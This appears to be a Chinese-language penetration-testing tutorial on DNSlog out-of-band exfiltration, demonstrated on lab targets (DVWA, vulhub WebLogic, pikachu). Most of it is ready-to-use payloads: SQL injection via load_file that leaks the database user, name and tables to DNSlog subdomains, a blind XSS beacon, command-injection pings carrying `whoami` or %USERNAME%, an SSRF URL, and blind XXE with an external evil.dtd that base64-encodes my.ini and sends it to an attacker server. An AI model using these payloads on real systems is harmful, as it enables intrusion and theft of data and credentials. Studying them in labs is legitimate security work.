1.什麼是dnslog
DNSlog是什麼?DNSlog就是存儲在DNS伺服器上的域名資訊,它記錄着使用者對域名 www.baidu.com
等的通路資訊,類似日志檔案
www.baidu.com
2.dnslog通常用在哪個地方
1.SQL盲注2.無回顯的XSS3.無回顯的指令執行5.無回顯的SSRF5.Blind XXE
2.1.SQL盲注
無論時時間盲注還是布爾盲注,都需要發送大量的資料包去判斷資料,很容易導緻被waf封IP,如果條件允許的話,可以使用dnslog進行快速的資料外帶。以Mysql為例,通過dnslog外帶資料需要用到load_file函數,是以一般得是root權限,并且secure_file_priv得為空
payload:select load_file(concat('\\\\',(select hex(user())),'.dnslog\\aa'));注意:後面的aa檔案存不存在不重要,随便寫都行,但是必須要寫,因為是load_file函數需要的條件
以dvwa靶場為例(已手動修改:secure_file_priv=”):
payload:1' and (select load_file(concat('//',(select hex(user())),'.xxxx.ceye.io/as')))# //檢視目前使用者1' and (select load_file(concat('//',(select database()),'.xxxx.ceye.io/as')))# //查資料庫1' and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io/as')))# //查詢目前資料庫第一個表,第二個類推
2.2.無回顯的XSS
payload:<ImG src=http://xss.9e5ehg.dnslog.cn>
然後回頭看下dnslog,證明漏洞存在。
2.3.無回顯的指令注入
發現疑似指令執行的洞,但是目标站點什麼也不顯示,無法确認是不是有漏洞。
windows:ping %USERNAME%.us0r6c.dnslog.cn
linux:ping `whoami`.us0r6c.dnslog.cn 或者 x=`hostname`;ping -c 1 $x.d7jlma.dnslog.cn
下面是windows常用的變量。
//變量 類型 描述//%ALLUSERSPROFILE% 本地 傳回“所有使用者”配置檔案的位置。//%APPDATA% 本地 傳回預設情況下應用程式存儲資料的位置。//%CD% 本地 傳回目前目錄字元串。//%CMDCMDLINE% 本地 傳回用來啟動目前的 Cmd.exe 的準确指令行。//%CMDEXTVERSION% 系統 傳回目前的“指令處理程式擴充”的版本号。//%COMPUTERNAME% 系統 傳回計算機的名稱。//%COMSPEC% 系統 傳回指令行解釋器可執行程式的準确路徑。//%DATE% 系統 傳回目前日期。使用與 date /t 指令相同的格式。由 Cmd.exe 生成。有關 date 指令的詳細資訊,請參閱 Date。//%ERRORLEVEL% 系統 傳回上一條指令的錯誤代碼。通常用非零值表示錯誤。//%HOMEDRIVE% 系統 傳回連接配接到使用者主目錄的本地工作站驅動器号。基于主目錄值而設定。使用者主目錄是在“本地使用者群組”中指定的。//%HOMEPATH% 系統 傳回使用者主目錄的完整路徑。基于主目錄值而設定。使用者主目錄是在“本地使用者群組”中指定的。//%HOMESHARE% 系統 傳回使用者的共享主目錄的網絡路徑。基于主目錄值而設定。使用者主目錄是在“本地使用者群組”中指定的。//%LOGONSERVER% 本地 傳回驗證目前登入會話的域控制器的名稱。//%NUMBER_OF_PROCESSORS% 系統 指定安裝在計算機上的處理器的數目。//%OS% 系統 傳回作業系統名稱。Windows 2000 顯示其作業系統為 Windows_NT。//%PATH% 系統 指定可執行檔案的搜尋路徑。//%PATHEXT% 系統 傳回作業系統認為可執行的檔案擴充名的清單。//%PROCESSOR_ARCHITECTURE% 系統 傳回處理器的晶片體系結構。值:x86 或 IA64(基于 Itanium)。//%PROCESSOR_IDENTFIER% 系統 傳回處理器說明。//%PROCESSOR_LEVEL% 系統 傳回計算機上安裝的處理器的型号。//%PROCESSOR_REVISION% 系統 傳回處理器的版本号。//%P ROMPT% 本地 傳回目前解釋程式的指令提示符設定。由 Cmd.exe 生成。//%RANDOM% 系統 傳回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。//%SYSTEMDRIVE% 系統 傳回包含 Windows server operating system 根目錄(即系統根目錄)的驅動器。//%SYSTEMROOT% 系統 傳回 Windows server operating system 根目錄的位置。//%TEMP%和%TMP% 系統和使用者 傳回對目前登入使用者可用的應用程式所使用的預設臨時目錄。有些應用程式需要 TEMP,而其他應用程式則需要 TMP。//%TIME% 系統 傳回目前時間。使用與time /t指令相同的格式。由Cmd.exe生成。有關time指令的詳細資訊,請參閱 Time。//%USERDOMAIN% 本地 傳回包含使用者帳戶的域的名稱。//%USERNAME% 本地 傳回目前登入的使用者的名稱。//%USERPROFILE% 本地 傳回目前使用者的配置檔案的位置。//%WINDIR% 系統 傳回作業系統目錄的位置。
2.4.無回顯的SSRF
這邊用的是vulhub的一個weblogic的ssrf漏洞。
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://rsr8pf.dnslog.cn然後檢視dnslog有記錄,就很有可能存在ssrf漏洞
2.5.Blind XXE
這邊用的是pikachu靶場,項目位址: https://github.com/zhuifengshaonianhanlu/pikachu
2.5.1.未修改源碼前,可以看到是有回顯的。
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///C://phpstudy_pro/Extensions/MySQL5.7.26/my.ini" >]><value>&xxe;</value>
2.5.2.修改源碼,使其變成無回顯。
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "http://zhwzti.dnslog.cn" >]><value>&xxe;</value>
無回顯,但是可以看到dnslog收到請求,證明xxe漏洞存在。
檔案讀取
注:這裡需要一個VPS,VPS中放入一個DTD的檔案,檔案dtd内容如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C://phpstudy_pro/Extensions/MySQL5.7.26/my.ini"><!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.232.131:1333/?p=%file;'">
然後利用python3開啟http服務。
python3 -m http.server --bind 0.0.0.0 1333
pyload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://192.168.232.131:1333/evil.dtd">
%dtd;%int;%send;]>